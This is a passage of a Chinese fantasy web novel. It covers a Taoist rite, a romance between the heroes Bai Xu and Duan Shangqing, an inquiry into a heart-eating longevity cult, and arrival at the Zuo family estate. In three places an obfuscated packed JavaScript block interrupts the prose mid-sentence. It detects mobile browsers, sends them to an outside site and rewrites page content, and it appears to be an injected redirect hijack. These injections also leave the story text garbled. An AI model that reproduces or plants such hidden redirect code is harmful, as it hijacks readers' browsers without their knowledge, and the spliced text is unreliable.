他的法事向来形式简单,看着就跟糊弄人似的,要不是白栩早就见识过他的真本事,此时便要和玉县百姓一般将信将疑了。 人群被拦在外围,三五成群聚在一起,叽叽喳喳议论不休。 他们虽不至于指指点点,到底是不太相信的,毕竟以往见过其他道士做法,人家那法坛设得多气派,一排法器陈列在案,看着就叫人安心。 眼前这个道士,很是年轻,一看资历就不够,他既不设坛,也不跳大神,法器只有孤零零的一柄拂尘、一只铜铃,说是做法,也就是抬手摇铃,低声诵咒,再一跺脚,喊句:“起!” 只有鸟雀惊起,无事发生。 “是不是骗子哦……”周遭议论声逐渐大了起来,先前没能停灵吊唁的家属气得直哭。 花道士不闻也不语,只一扬手,天际的浓云像是被他亲手扫开似的,迅速挤挨回山脚下,原本略有阴沉的天,刹那变为万里晴空响晴日,道道金光射散下来,普照四野。 山间密林被光线层层剖开,偌大的乱葬岗尽数暴露于眼光之下。 眼见着,灰黑色的泥地里浮出点点荧光,仿若整片土地下埋葬的人皆化为金光点点,飘向长天。 众人抬头凝望,目送灵归。 直至金光消散,云层重新笼罩,天地暗淡下来,才收回视线。 “多谢道长!”百姓跪了一地,叩首谢恩。 县令也跟着跪下,他哭得两眼通红,神情激动,纵使年迈也要大声宣告:“长生教徒戕害我玉县百姓许久,苦不堪言,而今终于苍天有眼!柳某斗胆,恳请佐家仙士彻底铲除长生教,还我玉县安宁!” 百姓齐声附和,声波震震,民愿齐天。 白栩被这场面镇住,愣在了原地。 这般虔诚的夙愿,以往只在佛庙或道观里得以见到,人们求神拜佛,跪地叩首,求苍天怜悯,诸神保佑。 而今,同样的虔诚与夙愿,同样的跪地叩首,却是调转向自己,仿若在他们眼里,自己比之诸神,更有能力拔除长生教。 这种被重视、信任乃至依赖的感觉,白栩从未体会过,十几年的岁月里,他一直处于被保护、被隐瞒的角色,不被允许涉入危险境地,不被告知重要信息,就算大难临头,也只被命令一句逃跑,至于为什么逃,谁要赶尽杀绝,尽是一无所知。 心口一片滚烫,似是热血难凉。原来自己不是一事无成,就算文不成武不就,也可以帮助他人,活出自己的意义。 段尚清拍拍他的肩,示意他做出表率。 白栩深吸一口气,镇定心神,而后挺起胸膛,负手而立,面色肃然地扬声道:“长生邪教肆虐猖獗,大举祸乱玉县百姓,此等伤天害理之事断不为天理所容,我佐氏仙门于此立誓,必将长生教赶尽杀绝!” 县令再叩首,白栩赶紧将他扶起来。 老县令那只鞋还没找到,一脚深一脚浅地踩在地上,他握着白栩的手,久久说不出话,只笑着,用粗糙的掌心轻拍白栩的手背,如此仿若说了千言万语。 百姓相拥而泣,就连衙役们都偷偷抹泪。 白栩心头一阵酸涩。 他最看不得这种场面,连自己都要跟着哭出来,感动居多,亦有些愧疚。 虽说他刚才大讲了一番豪言壮语,表现出一副义薄云天,深明大义之相,但要说实话,他心里是不大有底的。 并非信不过段尚清和花道士的能力,只是有些后怕,毕竟他们要启程衡阳,不会在玉县呆太久,若是捣毁长生教后招致司天监来寻仇,届时谁来护着玉县百姓? 段尚清看出他的思虑,凑近身来,在他耳边悄声道:“我已向佐家通信,不日便会有佐家弟子坐镇玉县护着众人,不必忧心。” 刚绷紧的弦紧接着就是一松,白栩长舒了口气,顿觉心底舒畅,如释重负,不自觉地笑了起来。 好像只要听到段尚清低沉而清澈的嗓音,感受到他凑近过来温热的气息,就会忘掉一切烦心事, 他回过头,越看越觉得段尚清真招人稀罕,特别想亲那个脸蛋一口。 心里这么想,也就这么做了。 他踮起脚在段尚清侧脸上亲了一口,蜻蜓点水。 段尚清受宠若惊,捂着脸愣了半晌,才抿起嘴笑了起来,他脸颊上有梨涡,越是抿嘴笑越明显,两只小梨浸在一片绯红里,很是可爱。 “亲我……”瑞凤眸中荡起秋水涟漪,纤长的睫毛轻轻颤动,一道意蕴深长的目光悄悄看过来,似乎带着点甜蜜的幽怨,“就只亲脸么……” 白栩假正经地咳了一声,“……今晚你帮我给姐姐传一封信,问问她纸人术法的线索,这东西在若寒城和玉县相继出现,我感觉和司天监脱不了干系。” “好……”段尚清敛去神情,强装镇定,“快傍晚了,我们先下山。” 他顺手揽住白栩,带着他避开人群往山下走,“昨夜说好的炸土豆,中午都没吃上,忙了一天,我都饿了。” 白栩揉揉肚子,“我也饿了。” 听出他声音中的轻快,段尚清心里那点小幽怨又冒出了头。 他看向白栩的唇,那两片微红而润泽的唇瓣刚刚还印在自己的脸颊上,此时正张张合合,不知道在说些什么。 段尚清无心去听,所有心神尽数被其上下触碰时轻轻颤动的软肉吸引了去,偶尔牙关轻启,能看见小舌尖露出个脑袋,又极快地缩回头去。 好想亲。 心脏扑通狂跳,仿若天底下没有事能比亲一下那双唇瓣更重要,所有的渴望如数精准指向,他头一回觉出自己方寸大乱。 他再也按耐不住,站定身子,按住白栩的肩,俯身想吻上去,结果姚靖那混小子不知道从哪里窜出来,一个恶犬飞扑窜到他背上,直把他绊了个踉跄,他为了卸力往前跑了几步才立住身,差点一头撞树上。 姚靖哈哈大笑,段尚清把人放下来,扬手给了他一个爆栗,“你这泼猴。” 姚靖捂着脑袋,得逞地直哼哼,见花道长路过,又是一个飞扑直接窜到人家背上。 花道长很是配合地托住他,三步并一步疾步下山,看着就跟往下跳似的。 姚靖兴奋地大吼大叫,整个山林都是他的猴叫。 白栩看得目瞪口呆,段尚清被折腾一下,也清醒了不少,他用肩膀轻碰白栩,“我也行,你要不要试试?” “抱着我飞下山去,还是御剑下山?” 段尚清粲然一笑,“当然是御剑。” 说着,他长臂一伸,一手揽住白栩的腰,一手拔剑横陈,低声诵咒几声,长剑无凭自动,稳稳当当地飘至地上,段尚清带着白栩踩上去,双指并拢超前一指,呵道:“飞!” 雪白长剑拔地窜起,两人破风而立,云从身旁掠过,炽阳毫无遮挡地照在身上,火辣辣的,微有些刺痛,段尚清趁机亲亲白栩的耳廓,“我们比他们快了,你看。” 他指向山林里两道人影,姚靖已经从花道长身上跳下来了,两人一齐朝山下狂奔,身子压得极低,若只剪影,还以为是某种身形矫捷的兽类。 “他俩倒是趣味相投。”白栩抬手环住段尚清的脖颈好稳定身形,“对了,你现在就给我姐姐传信吧,再晚我怕给忘了。” “好。”段尚清从怀里掏出一张符咒,默念问话内容,而后手一扬,符纸飞散,“传出去了。” 愁事一桩桩解决,白栩终于眉头舒展。 段尚清正低头注视白栩,一寸寸描摹,终是落在唇尖上。 两相对视间,他的渴望无所遁形,白栩故意亲他的脖子,亲他的耳垂,就是不亲他最想要的地方。 段尚清被磨得受不了,低头一口咬住白栩的唇肉,捻磨片刻才放开,心满意足道:“你终于不发愁了,刚才差点就要变成苦瓜包子了,好在现在尝一尝,还是甜的。” “什么苦瓜包子……”白栩失笑,“你再不快点飞,我要饿成包子皮了。” “好——”段尚清拖长音回应,“我们赶紧回去给你这个小包子皮儿填上馅,”他掐住白栩的脸颊晃了晃,“填上土豆玉米馅儿,包得圆鼓鼓的,最好一戳就漏。” “去的你!”白栩伸手掐段尚清的腰,手感太好又顺手摸了两下。 段尚清扭着身子想要躲开,他那里最怕痒,平常都不让人碰,白栩抓到他的弱点,变着法儿地戳弄,他笑得一个气短,灵识不稳,长剑震动两下,飞也似地朝下俯冲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365480|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只听尖叫戛然而止,“扑通”一声,硕大的水花迸溅开来。 两人竟直挺挺冲进了玉县附近的大江里去。 “噗哈!”白栩从水里钻出头,他水性极好,双臂用力把段尚清捞出来。 小神仙浑身湿漉漉的,吐出一口水,委屈的瘪起嘴。 他的头发全都湿了,贴在额头上遮住了眼睛,白栩伸手撩开,正对上一双可怜兮兮的下垂眼,实在没忍住,捧起他的脸亲了一口,“这是事儿怪谁?” 段尚清微微张嘴,任由白栩惩罚,许久,才喘着气嘟囔:“都怪你。” “怪我么?”白栩贴着他的唇低声质问,“谁先逗我的?” “我……”段尚清小声承认。 “那怪谁呀?”白栩循循善诱。 段尚清哼了一声,环住白栩的腰再次吻上去,“怪我,我给你补偿。” 厮磨片刻,唇舌才舍得分开,段尚清抵着白栩的额头,声音放得很轻,更像是撒娇:“这个补偿够么?不够我还想给你……” 白栩捂住他的唇,掌心却传来湿漉漉的,带着点温热的触感,原来是小狗的舌头。 他心软下来,“好了,快回去,我现在又冷又饿,要是生了病,你给什么补偿都不好使了。” 段尚清立马抱起他,御剑飞向客栈。 玩闹了半天,他俩是最后回客栈的。 饭已经端上来了,有白栩心心念念的炸土豆和玉米汤,破天荒的,桌上还摆着一只烧鸡,甚至还温着一壶酒。 一进门,姚靖赶紧招呼他俩落座,为了等人齐,他咽了不下八百回口水了。 花道长已经换了身衣服,一袭桃色长衫,玉冠高髻,甚至不知从哪儿掏出一把折扇摇着——四月天,还没暖和呢,您这把扇子纯粹是摆造型用的吧…… 白栩忍不住笑。 道长身后跟了位面色阴沉的异族少年,正低着头,一言不发。 相较于他人,少年只穿了件粗针缝缀的兽皮坎肩,古铜色的双臂裸露在外,其上肌肉虬结,十分结实。 他的五官的轮廓很深,眼窝深陷,瞳孔呈淡绿色,像是色泽润亮的宝石,一头浓而卷的深棕色长发被一只金属圆环扣在身后,额前佩着银制首饰,乍一眼看,像只炸毛的小狮子。 两人拖着湿哒哒的衣服,实在不好招呼人,匆匆上楼换了一套下来,才坐到桌前。 “你们二人这是……”花道长的视线在两人身上逡巡半晌,“鸳鸯戏水?” 白栩一口茶呛得直咳嗽,段尚清连忙给他拍背。 “是我御剑不稳,害他和我一同坠江了。”他解释,面颊却红了个透。 鸳鸯戏水,说得也不错…… 我们确实亲亲了……像缠绵的鸳鸯。 段尚清忍不住偷笑,白栩看过来,他立刻绷住脸,眼里的笑意却是满得要溢出来。 “等下再聊吧各位,我们先吃饭吧!” 姚靖握着筷子望眼欲穿,不怪他催促,要不是段氏家规非要长辈先动筷小辈才能吃饭,他也不至于馋这许久,段尚清迟迟不回来,指不定和阿栩哥哥去哪儿玩了,他急得就差出门把两人扛回来开饭了。 吃饭都不积极,这两个人,真得好好教育一下! 酒足饭饱,天色渐晚,白天和县令约定要秉烛夜谈,本想着傍黑天就出门,不过此时他有事要问道长,得让老县令多等一会儿了。 他起身给花道长敬了杯酒,“道长,恕小辈一问,您真是云游至此?” 花道长摆摆手,“我不过年长你几岁,不必如此拘礼,我姓花名千续,直呼我本名便好。” “……千续道长。”白栩实在叫不出口,他对花道长的印象还停留在早几年那个衣衫褴褛的老头,哪怕现在,他还在怀疑这人是不是本来就一大把年纪,只是剃掉胡子装年轻。 花千续朗声笑道:“你这小子,想什么都写脸上了,我真不是老头子,我今年二十五岁,七岁入观学道,三年前出师云游,说起来,那次去你家,的确是巧合。” “所以……这次不是巧合?”白栩追问。 “那是自然,我师父算出来的。” 白栩不解,“你师父为什么要……”话未说完,他脑中忽地闪过一个极其强烈的念头,莫名其妙,却异常笃信,“你师父……是谁?” 花千续勾唇,“果然祖孙一家,心有灵犀,我师父就是你爷爷,白青山。” 27. 阴谋 说罢,他端过烧鸡放到异族少年面前。 这烧鸡是他带过来的,酒也是,如果是平常,他很乐意和一桌朋友分享,可现在不行了,不是他小气,而是因为身旁这少年极其爱吃肉,一天吃不上肉就生一天的气,一生气就离家出走,什么时候花千续买肉回来了,这家伙才施施然回家,狗鼻子一样。 花千续有时候在想这家伙所谓的离家出走,其实就是跟踪在自己附近看他会不会去给自己买肉吃吧。 少年捧过鸡,大口吃了起来,姚靖眼馋无比,凑过去想蹭一口吃,少年侧头看了他一眼,撕下一只鸡腿递给他。 “哇!谢谢你!”姚靖立马接过,大吃一口,顿时香迷糊了,挪着屁股挤到少年身旁,和他挨着一起吃。 花千续见白栩还没回过神,展开扇子在他眼前扇了扇:“傻了?” 段尚清也戳戳白栩的脸颊,被白栩一把抓住,他脸一红,牵着白栩的手挪到桌子底下,和他十指相扣。 白栩清清嗓子:“我爷爷还活着?” 花千续哼笑一声:“我师父身体硬朗,再活个十几二十年都不成问题。” “那他为什么不回家?”白栩实在想不出理由,白老头子再痛恨自己是个草包废柴,好歹是亲孙子,都不回来看一眼? 花千续道:“为什么回家?他一身玄法全都传给了你娘,早就没遗憾了,而且你爹要掌家,他留在家里只会让你爹娘难办。” 白栩垂下脑袋,心里丝丝缕缕地泛着酸涩。 他向来珍重亲情,觉得只要一家人在一起,一切都能迎刃而解。从小到大,爹娘不是没提过爷爷的事,说起来全都是几十年前的老黄历了,以至于他一直以为爷爷早已仙逝,没想到……爷爷只是不想见自己而已。 花千续拍拍白栩的脑袋,宽慰道:“你别多想,你爷爷不是不想见你,他是谁都不想见,你爹去了,他也不见得能给好脸色。说到底,他是没脸见你们,虞惑那事闹到现在,已经不是他一人能收场的了,长生簿丢了,虞惑也进宫当了官,甚至还大肆反击白家——他年纪大了,许多事力不从心,就派我下山,助你一程。” 白栩久久沉默。 饭桌上一时无人开口,段尚清眼看着被自己哄好不久的小包子又要瘪下去了,连忙冲姚靖使眼色。 姚靖接受到信号,师兄这是让他活跃气氛,岔开话题。 正好啃完鸡腿,还没吃够,他夸张地一抹嘴,讪笑地看向少年,厚脸皮道:“我还想吃。” 一只鸡就那么大一点,已经分出去了个大鸡腿,盘子里所剩无几,少年默默挪走,不愿意再分享。 姚靖立马求饶:“再给我吃一块吧,求求你了。” 少年不情不愿地撕给他一块胸肉,姚靖抱着他的手臂大咧咧地嬉笑:“你真好,你叫什么名字啊?” 少年不语,别过头去,却没推开姚靖。 “他叫翎徕,我路上捡的。”花千续替他答了。 不是开玩笑,真就是云游路上捡的。 “真可怜。”姚靖摆出一副怜爱的神态来,天真地问,“那你是不能说话么?” 少年脸一黑:“我不是哑巴。” 他的声音与寻常少年相比要低沉许多,姚靖故意用肩膀撞撞他:“既然你会说话,怎么还一直闷头吃肉?” 翎徕哼了一声,不肯再开口。 见人不理自己,姚靖也不恼,他本不是没有眼力见的人,闹翎徕只是为了活跃氛围。 他挪回去,夹着玉米土豆吃了起来,侧头看了眼段尚清,挑了挑眉,段尚清冲他点点头以示赞赏。 白栩果然被两个小孩吸引去了注意力,暂且松懈了眉头,眼底浮出隐隐笑意,段尚清顺势开口:“阿栩,天色不早了,我们不是还要去县令那里?” “对。”白栩立马起身,作揖道别,“各位,先行一步。” “明早见。”花千续冲他摆摆手。 白栩本想一人前去,段尚清非要陪着,固执地抓着白栩的手。 反正一个人是去,两个人也是去,干脆都带上算了,他回头问姚靖走不走,姚靖还想逗翎徕玩,被翎徕轻推了一把后,一脸悲伤地站起身,跟着两人出门了。 县衙离客栈不算远,就隔着两条街,衙役一看是他们,立马让出条路。 柳县令盼星星盼月亮,可算把人盼过来了。 白栩刚推开门,老县令就赶紧把人拉到房内:“小仙士,你们可算来了。” 屋内陈设不多,除了必要的桌椅板凳,装饰的摆件只有两三样,也都不是特别贵的,茶杯磕了个角还坚持用着,就连他那天被姚靖扛着跑丢的靴子,也托衙役找回来了。 “柳县令,我们此行,有些事想向你问清楚。”白栩恭敬道,对于清正爱民的好官,他向来十分敬重。 柳县令起身给三人斟上茶:“你们问吧,我保证知无不言。” “长生教何时设立?可有看到掌教?” 柳县令摇头叹道:“几月前设立,未曾看到掌教,只有数不清几个黑衣人日夜穿梭。初立之时,百姓多有好奇,过去观望的人也很多,不过数日,便有人陆续入教,奉其教义——我并非不许百姓信教,只是这长生教实在怪异,教唆信徒修炼所谓‘长生功’,声称功成之后自绝于世,便能羽化成仙。” 言及此处,柳县令痛心疾首,以拳捶股:“我没想到,真的有人笃信此等妖言,甘愿在自己胸膛割开一道口子!原本的刀口并不深,还能救回来,长生教那一众妖人生生将他们的胸膛剖开,剜取心肝,弃尸于房内,再无人问津……” “我能知道这些事,全靠衙门里一个胆子大的捕快,他只身潜入长生教,亲眼见到此等惨状,我敢保证我所说的绝无半字虚言!捕快讲给我,我惊骇不已,信教的人不在少数,我只能挨家挨户登门相劝,奈何有人听得进去,有人却执迷不悟……就这样,陆陆续续地死了很人,不少百姓哭求我将亲人尸身取回,我心中虽急,却终究无能为力……我……” 他再也说不下去,老泪汹涌而出,顺着皱纹横生的黄脸簌簌淌下。 白栩理解他当时的无力与悲切,信了鬼的人,神也救不回来。 不过还有一事令他十分纳闷:“既然他们想要的是心肝,为什么还要扣留尸身不肯归还?” 柳县令摇头,也觉得毫无理由。 段尚清思索片刻,忽地灵光一现,拉着白栩去门边悄声道:“或许他们在玉县炼成尸鬼,再用黑船运到绛鹊山里去?” 他说着,又有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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段尚清却不这么想,他反而愿意将一切先往最坏的地步去揣度,这样一切不至于最坏的结果都是好消息。 他道:“皇帝其人如何我并不了解,我只是怀疑他在用虞惑试探那长生之术是否可靠,倘若虞惑当真不死,就只是要靠食人心肝续命……他这般渴求长生,真的能对长生术避而远之么?”他顿了顿,声音沉下来,“只是人心人肝而已,天子要,谁能不给?还有比这更轻易就能实现的代价么?” 白栩被他说得浑身一凛,确实,人心难测,谁知他那颗心装着的是自己还是天下黎民,说不准他早就知道了长生术的秘密,就等着看虞惑这个药人能不能逆天而得长生,好给自己长生路铺一块稳定的垫脚石…… 他俩聊得太久,老县令被冷落在一旁,茶喝了好几杯,脑袋伸了又伸,抓心挠肝地等了好久,才盼到两人坐回来,小心翼翼地打探:“二位,有何不妥?” “无事,与玉县不相关。这几日我们会全力抓捕长生教徒,请县令放心。” 段尚清朝柳县令作了一揖:“请县令嘱咐百姓,任何有关长生的术法,尽是不可信之妄言,断不可再轻信。今夜叨扰甚多,我们便先回客栈了。” “是!是!”柳县令起身恭送,“小仙士慢走。” 28. 月光与吻 暂住客栈的九个黑衣人早已杳无踪迹,大闹长生教那日,他们眼见事情败露,悍然破开拦路的衙役,飞身而去,转眼不见。 偌大的长生教人去楼空,只余下一座黑黢黢的空壳森然矗立,提醒着玉县百姓这里曾经发生的一切。 三日后,收到消息的佐家子弟从衡阳赶过来,将这空寂的教门稍作修整,改作了一处专用之地,有他们在,便不怕长生教来寻仇。 白栩一直心存疑惑,明明长生教占地广阔,那些人为何偏要落脚客栈? 直至随着段尚进去走了一遭,才明白这里根本就是把人当畜生一样关着的牢笼。 里面的房间其实很多,无一例外全都没有窗户,房内墙壁上满是深浅不一的抓痕,各种形态的血渍干涸在角落,形态狰狞,显然曾经被关在这里人受尽了的折磨。 白栩只看了几间便看不下去,前面还有数不清的黑门紧闭着,有些上了锁,不知道里面是什么,总归不是什么好东西。 一道寒气自脚底攀爬而上,直攥住心脏,勒住喉管,胃里一阵剧烈搅动,他捂着嘴跑出去,干呕几下才好受了些。 抬起头,四月骄阳悬挂,响晴薄日里,他却只觉得冷。 一条条人命就这么被残害殆尽,此等邪教不除,大宣百姓永无宁日。 佐家弟子送来信,是姐姐白珏写来的,她已经查到了纸人术的线索,等他们到衡阳后再详谈。 这一提醒,白栩才想起来,他们刚来那日,在后山小河沐浴时遭到了一只纸形山魈的袭击。 他实在想不明白,这纸人术出现得不明不白,究竟有什么目的? 他再去找了老县令,他没问纸人术,只问玉县有没有山魈出没。 柳县令想了半晌才道:“山魈……倒是没有,不过在长生教设立之前,东边山上总下来猛兽,伤了很多人,我也是奇怪,山里的野物早就被猎物打干净了,从哪儿来的这么多,后来长生教的那些人来了,把凶兽全给打死了,我本看他们能护佑百姓安宁,才同意在玉县建立教派……真是悔不当初!” 这下全都明白了,野兽袭击玉县百姓只是个幌子,是纸人术从中作梗,为了给长生教可乘之机。 得赶紧去衡阳。 五日后,白栩一行人动身离开。 县令领着百姓前来送行,大包小包的玉米土豆直往车上送,白栩退还不及,只好一路作揖道谢。 马车缓缓起行,远处的人群逐渐变小,缩成了一个黑点。 又要远行了。 一路风雨兼程,落地衡阳。 花、翎二人也跟来了,才一下马车,翎徕就朝着当地饭馆急速奔去。 花千续低骂一句混小子,转身和白栩道别:“你们要住佐府,我们不好叨扰,我带翎徕寻个客栈去住,有事你就捏住这个铃铛叫我的名字就行。” 说着,他递给白栩一个挖去簸箕珠的小铜铃。 是个法器,白栩对它还算熟悉,摇了摇,没有任何声音。 这铃铛只有鬼来了才会响,自己几年前听到过它的声音,很清脆,一响便能破去魔障。 白栩目送他离开,而后跟着引路的小厮踏入城内。 衡阳城很是繁华,周遭一片人声鼎沸,车水马龙。 白栩一瞬有些恍惚,许久之前,自己也是引路之人,带着段尚清和姚靖回白府,而后桩桩件件、诸般种种…… 他低头一笑,什么黄泉地狱、牛头马面,以往只在画本子里和说书的口中听到的故事,自己却是真真切切地经历了一遭,至今仍是历历在目、记忆犹新。 段尚清低头来看他:“笑什么?” 白栩不知怎么说,只摇头。 段尚清俯身蹭蹭他的脸颊:“想到以前的事了?” 没想到能被一语道破心事,他一愣,抬眼望进段尚清那双专注的眼眸里。 想亲。 他侧过脸,意味再明显不过。 段尚清羞赧一笑,乖乖地在他脸颊上亲了一口。 心头纷杂的情绪总能被段尚清轻而易举地抚平揉顺,他笑得粲然,同段尚清十指相扣:“走吧,我们去找姐姐。” 佐府大院很是气派,同白府的清幽雅致不同,一派庄严肃穆,威风凛然。 一进门就是开阔的大院,院中央立着一座高大的青铜鼎,鼎内铺满香灰,插着几根婴儿臂粗的火烛,袅袅香烟顺着鼎梁飘向空中,弯弯绕绕,汇聚成一只展翅腾飞的凤凰。 走过青铜鼎,路过修剪整齐的柳丛与花坛,后面是一排俨然的屋房。 高大的门楣,雕梁画栋,几根红柱立在门前,其上挂着高烛台,中央雕刻着凤鸾起舞,栩栩如生,地面整齐地铺就青色石板,缝隙中填着细腻的白沙,走上去,清脆的脚步声很是悦耳。 一行人跟着弟子来到大堂,家主夫人萧语竹很早便在等着他们来了。 一见萧夫人本尊,白栩不得不仰目而视,他从未见过这般高大的女子。 佐伯伯已是人高马大,萧夫人和他比起来竟丝毫不逊色,她并不是江南女子的柔婉长相,骨相里带着北方人的特征,五官深邃凌厉,像一柄出鞘的玄铁重剑,寒芒凛冽,逼得人不敢直视。 白栩一直认为自家老娘和老姐是全江南长得最凶的女子,如今一比,才知一山更比一山高。 自家老娘虽也是这般威严的气质,却只有板起脸时才会露出凶相,平常时候,她那双桃花眼可谓春水秋波、摄人心魄,勾得自家老爹恨不得说一辈子的情话逗人开心。 白栩这双眼睛就承自母亲。 姐姐白珏则更多继承了爹高挺的鼻骨和娘尖锐的脸型,越长大越英气,和萧夫人站在一起,气质如出一辙。 白珏出门帮他拿行李,抬手搓搓弟弟的脑袋:“好小子,想姐姐没?” “才不想!”白栩气呼呼地被欺负着,躬下身,脑袋靠在姐姐结实的肩膀上,闷声闷气地控诉,“反正你都不想我,我给你写信,你都不回我。” 这小小的几乎算得上是撒娇的反抗立刻被姐姐无情镇压,白珏揪住白栩的耳朵,提溜着晃了晃,语气里满是佯装出来的威胁:“你姐我可是很忙的,哪有空给你写信,我不想你,你就不想我了?” 她眯起眼睛,眸中闪出寒光:“我再给你一次说话的机会——” “想!”白栩委屈,噘着嘴鼓起脸看着姐姐,“能不想你么……” 白珏最稀罕看他露出这个表情,跟小时候吃不着糖委屈巴巴要哭不哭的憋屈脸一模一样,她心软一片,把弟弟结结实实地抱进怀里,拍拍他的肩:“小可怜样,不逗你了,我们进屋。” 萧夫人起身相迎,她看向白栩,眼中的寒冰顷刻间融化,像剑收入鞘,露出些明晃晃的慈爱来。 “白家的事我已经听说了,你们四个孩子这些日子就安心的住在这里,什么都不要想,剩下的事就交给我们解决。” 一双宽厚的大手轻轻覆在自己的头上,他受宠若惊地抬起头,与一双烁烁炯然的眼眸相对。 这双眼里满是长辈对后生的怜爱,母亲的身影与眼前的人重合起来,惹得白栩喉头发酸,微微低下头掩盖湿润的眼眶,恭声谢道:“多谢萧夫人。” “好了,一路车马劳顿,快去休息吧。”萧夫人亲自送他们去了客房。 屋内点着熏香,淡淡的香气很是沁人心脾。 白栩收拾好行李,出门去了姐姐的房间,姚靖,段尚清都在那里。 这是白珏要求的,她要听段尚清和白栩在绛鹊山里所有的经历。 白珏从小到大,一半的年岁都在走南闯北,见多识广,有关绛鹊山的事,从江湖上也听到了不少,白栩和段尚清一人一句把所有的经历讲给了白珏,白珏听后沉思半晌,摊手道:“把那个话本拿给我看看。” 段尚清递了过去。 她草草地看过前面的神鬼怪论,翻到最后一页时,突然顿了下来,盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365482|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那诡阵的图案看了许久,惊诧道:“这东西怎么在绛鹊山?难不成那传说是真的?” 白栩一听有戏,连忙追问:“什么传说?这阵法画的是什么?” 白珏把阵法拿给他们看,食指沿着中央的纹路比划,“你们看,这阵法中央,绘的是双生花,据我所知,这花是络玥族的图腾。此花一株两朵,相依相生,只要其中一朵枯萎,另一朵随即便会死亡。络玥族信奉双生花,和他们族内的习俗有关,他们族人在很小的时候就会在身体里种入蛊虫,从此活人与蛊虫相生相死,因为蛊虫寿命有限,络玥族少有能活过三十岁的。” 对上了。 结合佐伯伯说的,白栩大致能推导出事情原委—— 几十年前,络玥族的长生簿被彼时居住在江州的申屠氏族打探到,于是申屠族闯入络玥族领地,杀光了络玥族的族人,夺走长生簿,修炼长生术,结果走火入魔变为吃人心肝的怪物危害江州百姓,上三家领江南玄门将其一举歼灭,为防止其尸变,便将尸体镇压在绛鹊山镇邪庙内。 只是为什么申屠族长的身体里会有蛊虫? 是络玥族人帮他,还是他依据长生簿上卷的内容自己给自己下蛊? 为什么唯独他被锁在祭坛上,难道是格外危险? 一些谜题解开,一些仍是纠缠在一起。 四个人四个脑袋,没一个能想通的。 白珏看着天色已晚,把人都送出门去,有关纸人术法的事,明天再说也不迟。 暮色降临,天有些阴,牛毛小雨洒在空中,结成了一片水雾。 佐府后院有个水潭,名为“风序”,潭中养着几朵含苞待放的睡莲,三两只锦鲤轻快地游过,搅碎了水面上浮动的云影。 白栩睡不着,坐在潭中的小亭里,盯着泛着涟漪的湖面发呆,手中的酒喝过一口后被放到了一旁,再没动过。 脑子很乱,各种纷杂的思绪相互勾缠,剪不断理还乱。 举头望明月,哀声又叹气。 身后传来一阵脚步声,回头看去,段尚清提着一壶热气腾腾的茶朝他走来。 “看你心绪不宁又睡不着,煮了一壶安神茶。”他拿走白栩放在桌上的酒,自己一饮而尽,“宁可一个人喝闷酒,也不来和我说话。” 语气有些幽怨,白栩听得耳热,又觉得可爱,朝着他张开双臂。 冷脸生闷气的小神仙立刻喜笑颜开,放下茶,凑身上前,双手捧着白栩的脸,用指腹揉了揉,慢慢俯下身。 高大的身躯遮住月影,他的气息一瞬间笼罩了方寸之地。 段尚清单膝跪在白栩身侧的石椅上,用脑袋轻轻蹭着白栩的颈窝,撒够了欢,又捉着人家的唇亲了亲,嘟嘟囔囔的像是抱怨又像是恳求地小声开口:“以后不高兴,都要来找我,不许瞒着我,不许怕麻烦我。” 清澈的茶水冒着氤氲热气,袅袅茶香驱散了雨夜的寒气。 唇齿被温热浸透,湿软而缠绵,唇瓣相贴间,白栩勉强能开口,应了句好,立刻又被吮走了呼吸。 一吻毕,段尚清将人搂进怀里,他并未束发,柔软的青丝温顺的垂落,被微风携着轻轻扫在白栩身上。 白栩握着他递来的茶杯,望着细雨蒙蒙的水面沉默不语。 一切都是陌生的,唯有手中的茶和陪在身边的人是熟悉的。 “尚清。”他轻轻唤了一声,千言万语顺着溜出的喉音一拥而至,呼之欲出前他立刻抿起唇,只问,“月亮什么时候出来?” 段尚清侧头看向被乌云挡住的悬月,柔声道:“总有拨开云雾见月明的那一刻。” 简简单单的两句话,胜过千言万语。 白栩释然一笑:“是我太着急了。” 段尚清为他斟满热茶:“我们都陪着你等。” 一阵冷风吹过,雨雾散尽,乌云被风带着飘向山边,皎洁的月华倾泻而下。 万物笼罩被进一片清凉而温柔的软光中。 29. 修罗场 湖水倒映着弦月的影子,弥散的月光映进白栩眼中,洒下点点星辰。 两人一直安静地坐着,壶中的茶水只饮了几杯便不再动。 热气同夜色散去,寒露凝在枝叶上,或许也带着茶香。 东方破晓,几缕朝霞从山顶绽放,在一片青灰与苍翠之间尤为绚烂。 最初的几缕淡红色的霞云仿佛一个害羞的预示,自红日升起之处探出头来,不消多时,灿烂的云霞喷薄而出,仿若绯色的花苞骤然绽开,舒舒展展地向天际蔓延开去,直至苍穹尽染,烈火燃天。 一轮金灿灿的圆日缓缓升起,刹那间金光普照,万物复苏。 寒意被逼退,清晨的风里带着微弱的暖意。 